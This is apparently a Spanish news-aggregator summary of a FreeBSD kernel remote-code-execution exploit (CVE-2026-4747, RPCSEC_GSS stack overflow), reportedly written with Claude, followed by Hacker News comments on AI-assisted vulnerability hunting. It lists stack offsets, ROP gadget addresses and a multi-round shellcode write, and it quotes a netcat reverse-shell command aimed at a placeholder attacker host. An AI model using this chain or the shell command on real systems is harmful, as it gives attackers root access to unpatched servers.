3 puntos por GN⁺ 27 일 전 | 1 comentarios | Compartir por WhatsApp
  • En el módulo kgssapi.ko de FreeBSD se produce un desbordamiento de búfer en la pila durante el procesamiento de autenticación RPCSEC_GSS, lo que permite ejecución remota de código
  • La función svc_rpc_gss_validate() copia datos de credenciales sin verificación de límites, sobrescribiendo incluso la dirección de retorno
  • Un atacante puede inyectar una cadena ROP del kernel a través de la ruta RPCSEC_GSS del servidor NFS usando un ticket Kerberos válido
  • Mediante un desbordamiento en 15 etapas, escribe 432 bytes de shellcode en el área BSS del kernel y luego los ejecuta, creando una reverse shell con privilegios root
  • Se ven afectadas algunas versiones de FreeBSD 13.5~15.0, y el parche agrega la lógica de validación de oa_length

CVE-2026-4747 — Desbordamiento de búfer en la pila de RPCSEC_GSS en kgssapi.ko de FreeBSD

  • Vulnerabilidad de desbordamiento de búfer en la pila que ocurre durante el procesamiento de autenticación RPCSEC_GSS en el módulo kgssapi.ko de FreeBSD
  • La función svc_rpc_gss_validate() copia datos de credenciales al reconstruir el encabezado RPC en un búfer de pila de 128 bytes sin verificar límites sobre oa_length
  • Las credenciales que exceden los 96 bytes restantes después del encabezado fijo de 32 bytes sobrescriben variables locales, registros guardados e incluso la dirección de retorno
  • Están afectadas las versiones FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5)
  • El parche agrega una condición para verificar antes de copiar si oa_length excede el tamaño del búfer

Estructura del desbordamiento e impacto

  • El análisis del prólogo de la función muestra que el arreglo rpchdr está ubicado en [rbp-0xc0] y el punto de inicio de la copia en [rbp-0xa0]
  • A partir de los 96 bytes se sobrescriben, en orden, RBX guardado, R12~R15, RBP y la dirección de retorno
  • En el ataque real, debido al encabezado GSS y al handle de contexto de 16 bytes, la dirección de retorno queda en el byte 200 del cuerpo de credenciales
  • El código vulnerable solo es alcanzable desde la ruta de autenticación RPCSEC_GSS del servidor NFS
  • El atacante debe ser un usuario con un ticket Kerberos válido y provocar el desbordamiento en la etapa de autenticación RPCSEC_GSS (procedimiento DATA)

Configuración del entorno de ataque

  • VM objetivo: FreeBSD 14.4-RELEASE amd64, servidor NFS habilitado, kgssapi.ko cargado, KDC de MIT Kerberos en ejecución
  • Host atacante: Linux, módulo Python3 gssapi y cliente MIT Kerberos instalados, con acceso a NFS (2049/TCP) y KDC (88/TCP)
  • Puede configurarse en diversos hipervisores como QEMU, VMware, VirtualBox y bhyve
  • En la configuración de Kerberos son obligatorios rdns=false y dns_canonicalize_hostname=false en krb5.conf
  • Deben coincidir entre la VM y el atacante el nombre de host (test) y el service principal (nfs/test@TEST.LOCAL)

Estructura del exploit de ejecución remota de código del kernel (RCE)

  • El ataque consta de 15 rondas de desbordamiento multietapa
    1. En cada ronda se crea un nuevo contexto Kerberos GSS
    2. Se envía un paquete RPCSEC_GSS DATA de tamaño excesivo
    3. Se sobrescribe la dirección de retorno con un gadget ROP para escribir datos en memoria del kernel o ejecutar shellcode
    4. Se llama a kthread_exit() para terminar normalmente el hilo NFS
  • Cada ronda usa una cadena ROP de unos 200 bytes y los 432 bytes totales de shellcode se envían a lo largo de 15 rondas
  • Como FreeBSD crea 8 hilos NFS por CPU, se requieren al menos 2 CPU (16 hilos)

Construcción de la cadena ROP

  • Gadgets ROP principales:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — escritura arbitraria de 8 bytes en memoria del kernel
  • Ronda 1: llamada a pmap_change_prot() para cambiar el área BSS del kernel a RWX
  • Rondas 2–14: uso del gadget mov [rdi], rax para escribir el shellcode en la BSS en bloques de 32 bytes
  • Ronda 15: escritura de los últimos 16 bytes y salto al punto de entrada del shellcode

Funcionamiento del shellcode

  • Se ejecuta en modo kernel (CPL 0) y crea un proceso de reverse shell con privilegios root
  • Como no es posible invocar execve() directamente desde el hilo del kernel de NFS, se usa una estructura de dos etapas
    • Función Entry: crea un nuevo proceso del kernel con kproc_create() y luego termina
    • Función Worker: ejecuta /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
  • Inicializa el registro DR7 para evitar excepciones de depuración
  • Limpia la bandera P_KPROC para que fork_exit() siga la ruta userret en vez de kthread_exit()
  • Como resultado, /bin/sh se ejecuta en modo usuario con privilegios uid 0(root)

Proceso de resolución de problemas principales

  • Desajuste en offsets de registros: se confirmó con un patrón De Bruijn que el offset real de RIP era de 200 bytes
  • Incompatibilidad GSS MIT–Heimdal: el problema de normalización del nombre de host se resolvió con la configuración de krb5.conf
  • Herencia de registros de depuración: se evitó la excepción trap 1 inicializando DR7
  • Límite de 400 bytes: se logró una transmisión estable en unidades de 8 bytes con la combinación pop rdi + pop rax + mov [rdi], rax
  • Consumo de hilos NFS: en cada ronda termina 1 hilo, por lo que se requieren al menos 2 CPU

Resumen del flujo final del exploit

  • El atacante obtiene un ticket Kerberos y luego envía secuencialmente 15 paquetes de desbordamiento RPCSEC_GSS
  • Ronda 1: establecer la BSS como RWX
  • Rondas 2–14: escribir 416 bytes de shellcode
  • Ronda 15: escribir los últimos 16 bytes y ejecutar el shellcode
  • El shellcode crea un nuevo proceso con kproc_create() y ejecuta /bin/sh
  • El atacante obtiene una shell root desde la sesión nc
  • Todo el proceso toma alrededor de 45 segundos y se completa con un total de 15 paquetes RPC

1 comentarios

 
GN⁺ 27 일 전
Comentarios en Hacker News
  • El punto clave es que Claude no encontró el bug directamente, sino que tomó el reporte de CVE ya publicado y escribió un programa para explotar esa vulnerabilidad
    Pero viendo la velocidad del progreso actual, no parece lejano el momento en que modelos como Claude analicen el código fuente del kernel o de servicios críticos y, mediante pruebas repetidas en una VM, encuentren nuevos CVE automáticamente

    • Si me preguntas si eso es bueno o malo, yo creo que es algo bueno
      Antes, el costo de encontrar un CVE era tan alto que solo lo intentaban atacantes motivados por ganancias económicas
      Ahora el costo ha bajado, así que también los investigadores con buenas intenciones pueden hallarlos fácilmente, creando un entorno donde se puedan parchear antes de que se exploten
    • Antes era muy difícil configurar un entorno de fuzzing
      Ahora parece que modelos como Claude Code pueden analizar una base de código, sugerir dónde y cómo hacer pruebas de fuzzing, revisar crashes y, aprendiendo de forma iterativa, encontrar CVE
    • En realidad, Claude sí descubrió este CVE desde el principio
      Nicholas Carlini lo encontró usando Claude en Anthropic, y a partir de eso se redactó el reporte del CVE
    • Basta con dar una condición en la que la prueba deba fallar y pedirle al agente que haga que esa prueba pase
      Para este tipo de fuzzing automatizado, los LLM encajan bastante bien
    • También hay un video relacionado: enlace de YouTube
      Claude ya está encontrando CVE a nivel de experto
  • La empresa de Thai Duong, Calif, publicó una entrada de blog que resume este caso
    Incluye los prompts utilizados, y este bug también fue descubierto por Claude a través de Nicholas Carlini

  • En FreeBSD 14.x no había KASLR (aleatorización del espacio de direcciones del kernel) ni stack canaries, así que el ataque fue más fácil
    Me pregunto si esto mejora en FreeBSD 15.x
    Como referencia, NetBSD ya tiene una función de KASLR

    • Pero desde FreeBSD 13.2, KASLR viene activado por defecto
      Se puede verificar con sysctl kern.elf64.aslr.enable: 1
    • También hay críticas al KASLR del kernel de Linux
      Según este post del foro, hay quienes opinan que KASLR solo da una falsa sensación de seguridad y refuerza poco la seguridad real
  • Si ves la presentación publicada recientemente, “Black-Hat LLMs”, queda claro que los LLM se están volviendo cada vez más capaces en la búsqueda de vulnerabilidades y en exploits

    • En realidad, esta tendencia ya se veía venir
      Ya había señales desde que Sam Altman publicó en diciembre pasado un tuit diciendo que estaban contratando un Head of Preparedness
  • Lo más difícil es encontrar vulnerabilidades, no corregirlas
    La mayoría de los investigadores de seguridad no las divulgan por motivos económicos
    Por eso, si la detección automática se vuelve posible, aunque sea riesgosa, a largo plazo traerá un gran beneficio

    • Eso sí, ojalá esta automatización no se quede solo en encontrar bugs, sino que también automatice las correcciones
      De lo contrario, podría convertirse en otra carga para los desarrolladores de código abierto
      Como ocurrió antes con la controversia sobre parches de seguridad entre Google y FFmpeg
  • Gracias por compartir la colección de prompts publicados

    • Viendo los prompts reales, Claude no escribió el exploit de una sola vez, sino que fue un proceso conversacional con múltiples rondas de retroalimentación y ajustes
  • Esta automatización puede representar ahorro de tiempo para los equipos de desarrollo, pero quizá no tenga mucho valor para los usuarios comunes
    Hoy en día los bugs del kernel ya no se encuentran manualmente
    Aun así, que la gente solo hable de Claude parece deberse, al final, al efecto publicitario de Anthropic

  • Ahora, más que el hecho de que “Claude escribió el código”, hay que enfocarse en qué tan buena es la calidad de ese código y qué tan mantenible es

    • Pienso lo mismo
      Me da curiosidad si el código escrito por Claude tiene realmente una estructura mantenible o si es un desastre
  • Este caso muestra la autonomía y potencia de los agentes
    Al mismo tiempo, es un ejemplo de la ansiedad por el control y la necesidad de gobernanza que sienten las empresas

  • Fue interesante poder ver todo el historial de prompts

    • Aunque la parte final terminaba con una solicitud de “muéstrame todos los prompts ingresados en esta sesión”, así que una parte podría ser registro real y otra podría ser salida alucinada de Claude